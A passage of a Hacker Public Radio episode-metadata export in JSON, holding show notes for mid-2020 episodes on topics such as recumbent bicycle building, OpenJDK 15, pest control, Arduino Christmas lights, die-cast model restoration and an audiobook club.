                                                            • hpr3096\n(2020-06-15) \"Unscripted ramblings on a walk: PC Building.\"\nby Christopher M. Hobbs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMike Brehm on 2020-06-17:\n\"Productive walk\"
                                                              • Comment 2:\ncmhobbs on 2020-06-21:\n\"re: productive walk\"

                                                              \n
                                                            • hpr3099\n(2020-06-18) \"Linux Inlaws S01E08 The review of the review\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClaudioM on 2020-06-18:\n\"All According to Plan! }:-)\"

                                                              \n
                                                            • hpr3100\n(2020-06-19) \"For your consideration - Makers Corner\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2020-06-19:\n\"a book recommendation\"

                                                              \n
                                                            • hpr3101\n(2020-06-22) \"Metrics\"\nby Andrew Conway.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nClinton Roy on 2020-06-22:\n\"Looking forward to further episodes.\"
                                                              • Comment 2:\nAhuka on 2020-06-22:\n\"Excellent!\"
                                                              • Comment 3:\nbrian-in-ohio on 2020-06-22:\n\"more episodes\"

                                                              \n
                                                            • hpr3107\n(2020-06-30) \"Generating comfortable passwords\"\nby crvs.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nsigflup on 2020-06-30:\n\"Thanks\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Error feedback from show notes

                                                            \n

                                                            Most of the shows we process require us to make some level of modifications to get them posted. This ranges from fixing tags to a complete rewrite of the shownotes, or verifying whether intros were actually added or not.

                                                            \n

                                                            Each modification that we make means that it requires more human intervention and prevents us from being able to completely automate the upload process. In addition there is a non trivial amount of time needed to \"fix\" these issues. This can range from a few minutes to an hour or more per show, and with 260 shows a year this mounts up.

                                                            \n

                                                            We normally don't contact hosts about these issues as it is usually quicker to fix the issues than composing emails, and waiting for the reply that may never come. For the most part our experience has been that hosts are more than willing to fix these issues if they are aware of them.

                                                            \n

                                                            As part of the ongoing steps toward automation, would hosts be open to the idea of getting a processing report once we have posted the show? This would list all the issues the test tools found and the steps that we needed to take to rectify them.

                                                            \n

                                                            Making changes to shows after upload

                                                            \n

                                                            Sometimes an error or omission in notes for an HPR episode isn't noticed until the show is posted to the site. In recent times a few hosts have sent in their changes by way of comments. This is not ideal:

                                                            \n
                                                              \n
                                                            1. There's a limit on how much text a comment can hold
                                                            2. \n
                                                            3. The comment form has a nasty habit of stripping backslashes, so code corrections can be messed up
                                                            4. \n
                                                            5. We don't put comments on the show's page on archive.org, so such corrections will not be seen by people reading the notes there
                                                            6. \n
                                                            \n

                                                            The HPR admins would prefer changes to be sent in the form of emails to admin at hackerpublicradio.org. They will then be applied to the show notes and the archive.org version updated in step.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month:
                                                            \nWindigo

                                                            \n

                                                            Over the period tags and/or summaries have been added to 10 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3112,"date":"2020-07-07","title":"finishing the frame on the long wheelbase recumbent","duration":529,"summary":"a narrated slideshow of the next steps in building a bespoke recumbent bicycle","notes":"\n\n\n

                                                            Rear triangle in jig
                                                            \n\"Rear

                                                            \n

                                                            Close up
                                                            \n\"Close

                                                            \n

                                                            View from the front
                                                            \n\"View

                                                            \n

                                                            Jig ready for bending
                                                            \n\"Jig

                                                            \n

                                                            Bending process complete
                                                            \n\"Bending

                                                            \n

                                                            Jigging up rear triangle onto frame
                                                            \n\"Jigging

                                                            \n

                                                            Rear triangle brazed to frame
                                                            \n\"Rear

                                                            \n

                                                            Making emt bottom rails
                                                            \n\"Making

                                                            \n

                                                            Prying cuts open
                                                            \n\"Prying

                                                            \n

                                                            Finished and ready to fit in frame
                                                            \n\"Finished

                                                            \n

                                                            Emt bending tool
                                                            \n\"Emt

                                                            \n

                                                            Bottom rails ready for brazing
                                                            \n\"Bottom

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","hostid":326,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"bicycle, recumbent","version":0,"downloads":0,"valid":1}, {"id":3113,"date":"2020-07-08","title":"OpenJDK 15 - Unsafe Garbage","duration":893,"summary":"We take a quick look at what is coming in JDK 15","notes":"

                                                            Youtube: OpenJDK 15 - Unsafe Garbage

                                                            \n

                                                            339: Edwards-Curve Digital Signature Algorithm (EdDSA)

                                                            \n

                                                            360: Sealed Classes (Preview)

                                                            \n

                                                            371: Hidden Classes

                                                            \n

                                                            372: Remove the Nashorn JavaScript Engine

                                                            \n

                                                            373: Reimplement the Legacy DatagramSocket API

                                                            \n

                                                            374: Disable and Deprecate Biased Locking

                                                            \n

                                                            375: Pattern Matching for instanceof (Second Preview)

                                                            \n

                                                            377: ZGC: A Scalable Low-Latency Garbage Collector

                                                            \n

                                                            378: Text Blocks

                                                            \n

                                                            379: Shenandoah: A Low-Pause-Time Garbage Collector

                                                            \n

                                                            381: Remove the Solaris and SPARC Ports

                                                            \n

                                                            383: Foreign-Memory Access API (Second Incubator)

                                                            \n

                                                            384: Records (Second Preview)

                                                            \n

                                                            385: Deprecate RMI Activation for Removal

                                                            \n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"java, news","version":0,"downloads":0,"valid":1}, {"id":3114,"date":"2020-07-09","title":"Using the Akaso EK7000 Pro","duration":666,"summary":"Some tips on using the camera based on my limited experience on one trip.","notes":"

                                                            I found this camera to be useful, but it has a few quirks. Here is what I learned about using it. I took it on a cruise in the Caribbean Sea in February 2020, just before the coronavirus hit everything.

                                                            \n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Camera, Waterproof Camera, Action camera","version":0,"downloads":0,"valid":1}, {"id":3115,"date":"2020-07-10","title":"Pest Control","duration":2291,"summary":"Talk about pest control","notes":"
                                                              \n
                                                            • https://smile.amazon.com/s?k=Mosquito+Dunk\n
                                                                \n
                                                              • essentra ic3 for outdoors (30-90days)
                                                              • \n
                                                              • bee Friendly Mavrik Perimeter for indoor/outdoor OR bad for bees 4 oz of bifen (30-90days)
                                                              • \n
                                                              • delta dust for cracks / walls etc ( 6 -8 mos nasty stuff … )
                                                              • \n
                                                              • Syngenta Advion Cockroach Gel Bait ( only when you have issues with above approach or infestation )
                                                              • \n
                                                              • https://www.stihlusa.com/products/sprayers/backpack-sprayers/sr450/ ( blower I use for outside ~$700USD I spray neighbors for $20USD to create a perimeter around my house :P )
                                                              • \n
                                                              • use normal pump sprayer for indoors suggest using a metal tip for finer mist on baseboards etc youtube for best approach… I DO NOT spray surfaces that people touch .. some folks spray ‘safe’ indoor stuff on carpet and couches … I spray under/around/behind
                                                              • \n
                                                            • \n
                                                            • FULL TANK ( ~3.5 gal )GETS:\n
                                                                \n
                                                              • 4 oz of bifen OR .5oz of Mavrik
                                                              • \n
                                                              • 12 of essentra ic3
                                                              • \n
                                                            • \n
                                                            • Pump Sprayer gets:\n
                                                                \n
                                                              • 1gal water
                                                              • \n
                                                              • .5oz bifen or .1 Mavrik
                                                              • \n
                                                            • \n
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Pest Control,bugs,DIY,Home Improvement","version":0,"downloads":0,"valid":1}, {"id":3116,"date":"2020-07-13","title":"Unscripted ramblings on a walk: Crisis at The Manor","duration":1137,"summary":"A walk and a talk about a lightning strike zapping a network.","notes":"

                                                            In an episode years ago, I talked about \"libernil.net\" (a network for my family and friends). That network grew to be known as \"The Manor\" (manor.space) and has hosted more friends over time. Not too long ago our primary infrastructure was knocked out by lightning. On today's walk, I talk a little bit about what happened.

                                                            ","hostid":241,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"networks,post-mortem,retrospective,community,walk,rambling","version":0,"downloads":0,"valid":1}, {"id":3117,"date":"2020-07-14","title":"The joy of retro computing","duration":1914,"summary":"Knightwise talks about the old computers in his attic and how it is a loverly geek getaway","notes":"

                                                            Knightwise talks about his collection of old macs and pc's and how he uses them as a little \"getaway\" of the rush of modern day life. Show recorded in the car, excuse the road noise.

                                                            ","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Retro computer","version":0,"downloads":0,"valid":1}, {"id":3118,"date":"2020-07-15","title":"Linux Inlaws S01E10 The Python Bumper Part 1","duration":5436,"summary":"A discussion of Python questions and their answers (part 1). Plus news on Brad and Alia","notes":"","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Python, PEP, Linux, Alia Shawkat, Brad Pitt, Stackless Python","version":0,"downloads":0,"valid":1}, {"id":3119,"date":"2020-07-16","title":"Converting to FFS2","duration":2426,"summary":"FFS2, FuguIta encryption and UUID's and 9 volt batteries","notes":"

                                                            I talk about converting my I386 Dell Mini 10 running OpenBSD6.7 to the new FFS2 file system. I also talk about the two new features of FuguIta 6.7 which are data encryption and the use of UUID's in the noasks file which is used for automatic booting. I also talk about 9 volt batteries and high technology transistor radios. I am also surprised by an SD card discovery I found on my Dell Mini 10.

                                                            \n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"FFS2, SD cards, OpenBSD","version":0,"downloads":0,"valid":1}, {"id":3120,"date":"2020-07-17","title":"How open are roleplaying games?","duration":2767,"summary":"Klaatu and mcnalu talk through what open and free mean in roleplaying games.","notes":"

                                                            Roleplaying games open you up to a seemingly unlimited array of possibilities taking place in many universes. But truly unlimited freedom would literally mean nothing without a context of history, lore and rules for your adventures. Klaatu and mcnalu talk through what open and free mean in roleplaying games with a particular focus on Dungeons & Dragons which Klaatu has been been running for the HPR community in recent months.

                                                            \n

                                                            If you want to play D&D you can go to the website of its publisher Wizards of the Coast and browse for the player and other manuals. But if you want to play but can't or won't pay then you can use the System Reference Document (SRD) which is published under the Open Game License (OGL). You can even use that document to create and publish your own adventures.

                                                            \n

                                                            However, if you want to publish an adventure with the full set of D&D rules from official manuals — every monster and every spell — then you need the publisher's approval. To do this for D&D you need to publish through the Dungeon Masters' Guild.

                                                            \n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"open,free,roleplaying,licensing","version":0,"downloads":0,"valid":1}, {"id":3121,"date":"2020-07-20","title":"Opposing Views on Tattoos","duration":1866,"summary":"Windigo and Mrs. Honeyhume discuss their views on tattoos","notes":"

                                                            \nNote: Phone recording came with a little bit of a hiss. Sorry about that!\n

                                                            \n

                                                            \nI discuss the subject of tattoos with my partner of fifteen years, Mrs. Honeyhume. While we agree on many subjects, tattoos are not one of them.\n

                                                            \n

                                                            \nShe enjoys and appreciates tattoos, seeing them as a permanent form of art that you can display on your own body. She has several of her own. I do not mind if other people tattoo themselves, but I am very opposed to getting them myself.\n

                                                            \n

                                                            \nWe discuss cultural influences of tattooing, some different methods used to tattoo skin, and many hypothetical situations to try to pin down the source of my opposition to getting one.\n

                                                            \n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"tattoos","version":0,"downloads":0,"valid":1}, {"id":3122,"date":"2020-07-21","title":"Devuan review - and commentary","duration":2086,"summary":"Devuan Review plus I talk about race","notes":"

                                                            \nFrom Wikipedia, the free encyclopedia\n

                                                            \n

                                                            \nDevuan is a fork Debian that uses sysvinit or OpenRC instead of systemd, which is the default in newer Debian releases. The Devuan development team aim to maintain compatibility with other init systems in the future and not detach Linux from other Unix systems.\n

                                                            \n

                                                            \n[Edit: Ken 2020-07-21]\n

                                                            \n

                                                            \nA significant portion of this show relates to the U.S Supreme Court decision in the case of McGIRT v. OKLAHOMA, and speculation as to possible ramifications.\n

                                                            \n\n","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Devuan, Debian, sysvinit, OpenRC, systemd","version":0,"downloads":0,"valid":1}, {"id":3123,"date":"2020-07-22","title":"Arduino controlled Christmas lights","duration":170,"summary":"Controlling Christmas LED lights with an Arduino","notes":"
                                                              \n
                                                            1. Inspired by an Instructable project

                                                              \n

                                                              https://www.instructables.com/id/LED-VU-Meter-With-Arduino-UNO

                                                            2. \n
                                                            3. Started the project with Arduino Uno.

                                                              \n
                                                                \n
                                                              • Found that power it with the barrel plug made audio input stable
                                                              • \n
                                                              • Tested this theory by using USB power
                                                              • \n
                                                              • Suspect this was due to grounding not being as good with the USB
                                                              • \n
                                                              • This caused LED's to light even without an audio input
                                                              • \n
                                                              • Ended up using an generic Arduino Nano to control the project
                                                              • \n
                                                            4. \n
                                                            5. Modified an audio mic preamplifier from Amazon to condition the output from the laptop music source

                                                            6. \n
                                                            7. Ran the output from this to A0 on the Arduino

                                                            8. \n
                                                            9. Split the signal out to an external speaker

                                                            10. \n
                                                            11. Used digital outputs listed in the sketch to power the LED indicators

                                                              \n
                                                                \n
                                                              • For reference, a sketch is the program that the Arduino runs through a loop.
                                                              • \n
                                                            12. \n
                                                            13. Used pins 10 to 12 as AnalogWrite pin to provide the power to the solid state relays.

                                                            14. \n
                                                            15. Used a dremel to separate the power to the hot side of the two power outlets

                                                              \n
                                                                \n
                                                              • Used three of the outlets to power three strings of Christmas tree LED lights.
                                                              • \n
                                                              • Used the other outlet to power the Arduino
                                                              • \n
                                                            16. \n
                                                            17. Bonus

                                                              \n
                                                                \n
                                                              • Using these particular solid state relays, there is still a 10Vac output in off state. It actually worked for good, as the lights are at a nice brightness without a music input.
                                                              • \n
                                                              • Kindly leave a note in the comments if this is common to Solid State relays.
                                                              • \n
                                                            18. \n
                                                            \n

                                                            Links:

                                                            \n

                                                            GY-MAX4466 Electret Microphone Amplifier

                                                            \n

                                                            https://www.amazon.com/gp/product/B07C3HXPJ9/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1

                                                            \n

                                                            Solid State relay on Ebay

                                                            \n

                                                            https://www.ebay.com/itm/25A-40A-SSR-25DA-SSR-40DA-250V-Solid-State-Relay-Module-Alloy-Heat-Sink/401478280169?hash=item5d79f863e9:g:dkwAAOSwiqFaX3f8

                                                            \n

                                                            ELEGOO for Arduino Nano V3.0

                                                            \n

                                                            https://www.amazon.com/gp/product/B0713XK923/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1

                                                            \n

                                                            AnalogWrite

                                                            \n

                                                            https://www.arduino.cc/en/pmwiki.php?n=Reference/AnalogWrite

                                                            \n

                                                            https://www.arduino.cc/en/Tutorial/AnalogInOutSerial

                                                            \n

                                                            My video

                                                            \n

                                                            Sound\nReactive Christmas lights on Archive.org

                                                            \n

                                                            \n

                                                            Edit:

                                                            \n

                                                            Here is the song I meant to add, to see if it matches my video of the lights.

                                                            \n

                                                            It is the Trans Siberian Orchestra, Carol of the Bells.

                                                            \n

                                                            https://m.youtube.com/watch?v=sCabI3MdV9g

                                                            \n","hostid":318,"series":91,"explicit":0,"license":"CC-BY-SA","tags":"Arduino, Christmas, lights, Solid state relays","version":0,"downloads":0,"valid":1}, {"id":3124,"date":"2020-07-23","title":"Matchbox Restoration Part 5","duration":310,"summary":"In this the 5th in the series Tony discusses the painting process on the castings of the MK10 Jaguar","notes":"

                                                            HPR Matchbox show Episode 5

                                                            \n

                                                            Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 5th in a series of shows about my hobby of restoring Matchbox and other Die cast models. In the last show I went through the process I use to remove the paint and prepare the casting for repainting and reassembly. In this episode we will look at the painting of the castings and 'Spoiler' what to do if things go wrong.

                                                            \n

                                                            After polishing and before painting I degrease the casting in some alcohol. I use a cheap own brand nail polish remover from the Co-Op but there are many ways of doing this and as many products on the market, so use what you have to hand. Even a good clean in hot soapy water, dry with a lint free cloth and then a wipe over with alcohol wipes works well. Remember to wear gloves when handling the casting after this process as the grease from your hands can undo all your hard work.

                                                            \n

                                                            So the first thing to say is that I am still in the early stages of learning this hobby and use what are referred to as 'Rattle' cans in this community, it just means spray can painting rather than the use of an Air Brush, which I will be moving onto at some point so I can mix my own paint colours and not just those available in a spray can.

                                                            \n

                                                            So far I have been painting the casting outside during a warm dry day with little or no wind, or in a sheltered spot behind the garage if the wind is a little strong. I have now set up a small portable spray booth in the garage for this so will be able to paint in all conditions weather wise, which will make life easier.

                                                            \n

                                                            Image 001
                                                            \n\"Image

                                                            \n

                                                            So back to the casting, I use a Hemostat Clamp to hold the casting on this model it is attached to the post that holds the model together as this will not be seen when reassembled, I used a grey primer, spraying light coats all over the model until it is completely covered in the primer. Priming helps smooth out any small imperfections for the final paint coat, and as the casting is over 50 years old, it also lays down a consistent base colour and ensures that the colour coat should be the same all over when final paint is applied. As you can see in the picture it also shows up the casting lines and if desired these can be filed away prior to final painting, as this is a restoration I left this casting as original as possible, and left these in.

                                                            \n

                                                            Image 002
                                                            \n\"Image

                                                            \n

                                                            Image 003
                                                            \n\"Image

                                                            \n

                                                            After leaving the casting to dry for about an hour I came back with the colour coat, the original model was a metallic brown, but the nearest match I was able to find in the local pound shops is a metallic gold. Not perfect but the final results look good, but a little lighter than the original paint. I applied the paint in smooth fine strokes, getting what is called a tack coat of the paint all over the model casting to start, then applying another coat (the wet coat) all over until there is no sign of the primer and all looks smooth but with no runs in the paint finish. The balance needs to be just right with not too little or too much paint, but with practice you get there in the end. Unforseeably on this occasion there was a reaction with the primer on the rear of the model which caused bubbling of the paint.

                                                            \n

                                                            Image 004
                                                            \n\"Image

                                                            \n

                                                            Image 005
                                                            \n\"Image

                                                            \n

                                                            So after allowing the paint to fully cure I used a little wet and dry fine sanding paper to smooth out this area and gave the casting another coat of paint, and fortunately this time all was well as you can see from the pictures in the show notes.

                                                            \n

                                                            Image 006
                                                            \n\"Image

                                                            \n

                                                            Image 007
                                                            \n\"Image

                                                            \n

                                                            While the casting was fully curing I turned my attention to the screen plastic. I found the best of the ones I had salvaged, from the 4 castings, picture 008 in the notes, and gave it a polish with some auto sol polishing compound using a cotton bud, and it came out quite nice. I then gave it a wash in soapy water to remove the residue of the polishing compound and after drying gave it a dip in some Pledge floor shine, it works great.

                                                            \n

                                                            Image 008
                                                            \n\"Image

                                                            \n

                                                            Image 009
                                                            \n\"Image

                                                            \n

                                                            Image 010
                                                            \n\"Image

                                                            \n

                                                            After coating the screen in the Pledge it is placed on a pad of paper towel and covered with a plastic pot to stop dust getting on it while drying.

                                                            \n

                                                            Image 011
                                                            \n\"Image

                                                            \n

                                                            Although the original casting had a black painted base I liked the look of the polished base so decided to leave this as it was, but if painting the base it is the same process as the main casting.

                                                            \n

                                                            Well that's it for this episode, on the next I will look at putting the wheels and axles back on the base and the reassembly process.

                                                            \n

                                                            This is Tony Hughes for Hacker Public Radio, saying goodbye for now, keep safe everyone and I'll be back soon with the next instalment.

                                                            \n","hostid":338,"series":114,"explicit":0,"license":"CC-BY-SA","tags":"Matchbox Cars, Diecast Models, Restoration, painting, Rattle cans, Air brushing, Plastic polishing","version":0,"downloads":0,"valid":1}, {"id":3125,"date":"2020-07-24","title":"GIMP: The Canvas","duration":785,"summary":"The Canvas is the first key concept in learning Gimp","notes":"

                                                            The Canvas is the main stage on which all of the action takes place, and it controls some aspects of the final image. When you get ready to export, you only export what is on the canvas.

                                                            \n

                                                            Links:

                                                            \n","hostid":198,"series":113,"explicit":0,"license":"CC-BY-SA","tags":"GIMP, images, photos, graphics, canvas, layer","version":0,"downloads":0,"valid":1}, {"id":3126,"date":"2020-07-27","title":"Metrics part II","duration":1967,"summary":"The metric of a 2D curved surface","notes":"

                                                            In this show I continue from where I left off in my last show (3101) and talk about the geometry of curved 2D surfaces such as that of a sphere.

                                                            \n

                                                            Using the Earth's surface as an example we can use familiar the co-ordinates of longitude and latitude, illustrated on this diagram:

                                                            \n\"Sphere\n\n

                                                            Source: Public domain, Wikimedia commons

                                                            \n

                                                            On the left we see circles of constant latitude. The largest of these circles is at latitude 0° and is called the equator. Its circumference is equal to that of the Earth and so it is an example of a great circle.

                                                            \n

                                                            On the right we see lines of constant longitude. These run from pole to pole and are perpendicular to the equator. Each of these lie on a great circle (in fact they are half a great circle each).

                                                            \n

                                                            Great circles on the surface of a sphere are analogous to straight lines on a flat 2D surface. They offer a way to connect any two points with the shortest distance. Lines in 2D or great circles on a sphere are examples of what is called a geodesic. In physics, particles that are not subject to any forces will follow geodesics.

                                                            \n

                                                            In Einstein's General Theory of Relativity, the presence of mass or energy will alter the shape of spacetime and that will determine the metric. From the metric you can derive the geodesics and from that you can predict the motion of objects with no forces acting on them. In this way you can do away with the approximation that is Newton's gravitational force and replace it by a description that only involves the curvature of spacetime. I only touch on this in this show but will likely return to it in future shows.

                                                            \n

                                                            Here are the equations discussed in this show and the previous one:

                                                            \n\"Sphere\n\n","hostid":268,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"maths,relativity,physics,earth","version":0,"downloads":0,"valid":1}, {"id":3127,"date":"2020-07-28","title":"HPR AudioBook Club 20 - Quarter Share","duration":9131,"summary":"The HPR Audiobook Club reviews the audiobook Quarter Share by Nathan Lowell","notes":"

                                                            In this episode the HPR Audiobook Club discusses the audiobook Quarter Share by Nathan Lowell

                                                            \n
                                                            \n

                                                            Non-Spoiler Thoughts

                                                            \n
                                                            \n
                                                              \n
                                                            • This may be Pokey's all time favorite audiobook.
                                                            • \n
                                                            • This book takes the 'fish out of water\" trope and turns it on it head to a certain extent.
                                                            • \n
                                                            • Is Klaatu really Bilbo Baggins?
                                                            • \n
                                                            • Ishmael Wang is kinda our hero.
                                                            • \n
                                                            • So Traveller is a huge influence on these books.
                                                            • \n
                                                            • You know you want to deep dive on the lore of this universe. Go ahead.
                                                            • \n
                                                            • Buy more Nathan Lowell books.
                                                            • \n
                                                            • WWID, What Would Ishmael Do
                                                            • \n
                                                            • Excellent recording, despite equipment of dubious quality.
                                                            • \n
                                                            • Solar Clipper Universe vs. StarDrifter Universe, and how we are fantastically lucky to have both.
                                                            • \n
                                                            \n

                                                            Beverage Reviews

                                                            \n
                                                            \n

                                                            As usual, the HPR AudioBook Club took some time to review the beverages that each of us were drinking during the episode

                                                            \n
                                                              \n
                                                            • Thaj: Grapefruit Juice, simple, delicious.
                                                            • \n
                                                            • x1101: Shipyards Signature Series IPA
                                                            • \n
                                                            • pokey: I like Roma Sambuka in my coffee. It's muggy here today, so I'm happy to discover that it's just as good in ice coffee. Roma Sambuka does not seem to have a website. The trick, imho, is to make your coffee as you normally would, then add the booze. Don't adjust for the booze, other than using a bigger glass.
                                                            • \n
                                                            • FiftyOneFifty: Ole Smokey Tennessee Moonshine
                                                            • \n
                                                            \n

                                                            Things We talked about

                                                            \n
                                                            \n
                                                              \n
                                                            • We definitely can't keep these books straight. Just read them all. You'll thank us.
                                                            • \n
                                                            • Pokey found a plot bullet, maybe. Thaj may disagree.
                                                            • \n
                                                            • All the characters are there for a reason.
                                                            • \n
                                                            • Nathan's reading voice is perfect for this series.
                                                            • \n
                                                            • Wormholes, wormholes, wormholes.
                                                            • \n
                                                            • We discuss the details of how to use the technology from this series to fly into a system.
                                                            • \n
                                                            • Pokey wishes promotions in the real world worked they way they work on the ship.
                                                            • \n
                                                            • Find the Podiobook Easter eggs.
                                                            • \n
                                                            \n

                                                            Our Next Audiobook

                                                            \n
                                                            \n

                                                            The Terrible Business of Salmon & Dusk

                                                            \n

                                                            The Next Audiobook Club Recording

                                                            \n
                                                            \n

                                                            Right now we are working through a backlog of older episode that have already been recorded. Once that ends we fully anticipate recording new episodes with listener participation.

                                                            \n

                                                            Further Recommendations

                                                            \n
                                                            \n
                                                              \n
                                                            • Daredevil
                                                            • \n
                                                            • The DCEU
                                                            • \n
                                                            • We talk about a picture I can no longer find a link for.
                                                            • \n
                                                            • Pokey gets a new motorcycle.
                                                            • \n
                                                            • FiftyOneFifty talks about actual computer stuff.
                                                            • \n
                                                            • Windows probs...
                                                            • \n
                                                            • Web Browsers editorializing the Internet.
                                                            • \n
                                                            • Is Flash dead yet?
                                                            • \n
                                                            \n

                                                            Feedback

                                                            \n
                                                            \n

                                                            Thank you very much for listening to this episode of the HPR AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you'll consider joining us next time we record a new episode. Please leave a few words in the episode's comment section.

                                                            \n

                                                            As always; remember to visit the HPR contribution page HPR could really use your help right now.

                                                            \n

                                                            Sincerely, The HPR Audiobook Club

                                                            \n

                                                            P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.

                                                            \n

                                                            Our Audio

                                                            \n
                                                            \n

                                                            This episode was processed using Audacity. We've been making small adjustments to our audio mix each month in order to get the best possible sound. Its been especially challenging getting all of our voices relatively level, because everyone has their own unique setup. Mumble is great for bringing us all together, and for recording, but it's not good at making everyone's voice the same volume. We're pretty happy with the way this month's show turned out, so we'd like to share our editing process and settings with you and our future selves (who, of course, will have forgotten all this by then).

                                                            \n

                                                            We use the \"Truncate Silence\" effect with it's default settings to minimize the silence between people speaking. When used with it's default (or at least reasonable) settings, Truncate Silence is extremely effective and satisfying. It makes everyone sound smarter, it makes the file shorter without destroying actual content, and it makes a conversations sound as easy and fluid during playback as it was while it was recorded. It can be even more effective if you can train yourself to remain silent instead of saying \"uuuuummmm.\" Just remember to ONLY pass the file through Truncate Silence ONCE. If you pass it through a second time, or if you set it too aggressively your audio may sound sped up and choppy.

                                                            \n

                                                            Next we use the \"Compressor\" effect with the following settings:

                                                            \n
                                                                Threshold: -30db\n    Noise Floor: -50db\n    Ratio: 3:1\n    Attack Time: 0.2sec\n    Decay Time: 1.0 sec\n
                                                            \n

                                                            \"Make-up Gain for 0db after compressing\" and \"compress based on peaks\" were both left un-checked.

                                                            \n

                                                            After compressing the audio we cut any pre-show and post-show chatter from the file and save them in a separate file for possible use as outtakes after the closing music.

                                                            \n

                                                            We adjust the Gain so that the VU meter in Audacity hovers around -12db while people are speaking, and we try to keep the peaks under -6db, and we adjust the Gain on each of the new tracks so that all volumes are similar, and more importantly comfortable. Once this is done we can \"Mix and Render\" all of our tracks into a single track for export to the .FLAC file which is uploaded to the HPR server.

                                                            \n

                                                            At this point we listen back to the whole file and we work on the shownotes. This is when we can cut out anything that needs to be cut, and we can also make sure that we put any links in the shownotes that were talked about during the recording of the show. We finish the shownotes before exporting the .aup file to .FLAC so that we can paste a copy of the shownotes into the audio file's metadata.

                                                            \n

                                                            At this point we add new, empty audio tracks into which we paste the intro, outro and possibly outtakes, and we rename each track accordingly.

                                                            \n

                                                            Remember to save often when using Audacity. We like to save after each of these steps. Audacity has a reputation for being \"crashy\" but if you remember save after every major transform, you will wonder how it ever got that reputation.

                                                            \n","hostid":157,"series":53,"explicit":1,"license":"CC-BY-SA","tags":"Nathan Lowell, Audiobooks, SciFi, Space Opera","version":0,"downloads":0,"valid":1}, {"id":3128,"date":"2020-07-29","title":"Linux Inlaws S01E11 The Python Bumper Part 2","duration":4065,"summary":"The chaps continue to shed more light on our beloved programming language","notes":"\n\n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Python 3.9, Mortgages in New York, Williamsburg, Wirecard, middle-aged blondes","version":0,"downloads":0,"valid":1}, {"id":3129,"date":"2020-07-30","title":"Followup on HPR3122","duration":2157,"summary":"Followup on HPR3122 and *MORE* - percent *MORE* undescribed","notes":"https://www.youtube.com/watch?v=OFWCbGzxofU","hostid":377,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Followups MORE","version":0,"downloads":0,"valid":1}, {"id":3130,"date":"2020-07-31","title":"More Quick Tips","duration":667,"summary":"This time tips onNvidia ffmpeg transcoding Fallout Perks Late to Movies,Shared 2FA,Time to leave app","notes":"
                                                              \n
                                                            1. I talk about using Nvidia to quickly transcode
                                                            2. \n
                                                            3. Go over fallout 76 perks
                                                            4. \n
                                                            5. Show up to movies 20min late to miss th BS
                                                            6. \n
                                                            7. Shared 2FA because everybody uses SMS for some reason even tho the feds say now not to ... it took us 10 years to get here lol
                                                            8. \n
                                                            9. Time to leave app ! never be late to anything again... LOL .. you wish !
                                                            10. \n
                                                            \n

                                                            -rmccurdy.com

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Nvidia ffmpeg transcoding,Fallout Perks,Late to Movies,Shared 2FA,Time to leave app","version":0,"downloads":0,"valid":1}, {"id":3131,"date":"2020-08-03","title":"HPR Community News for July 2020","duration":7227,"summary":"Warning Ken and Dave discuss some disturbing agricultural practices. Listener discretion is advised.","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

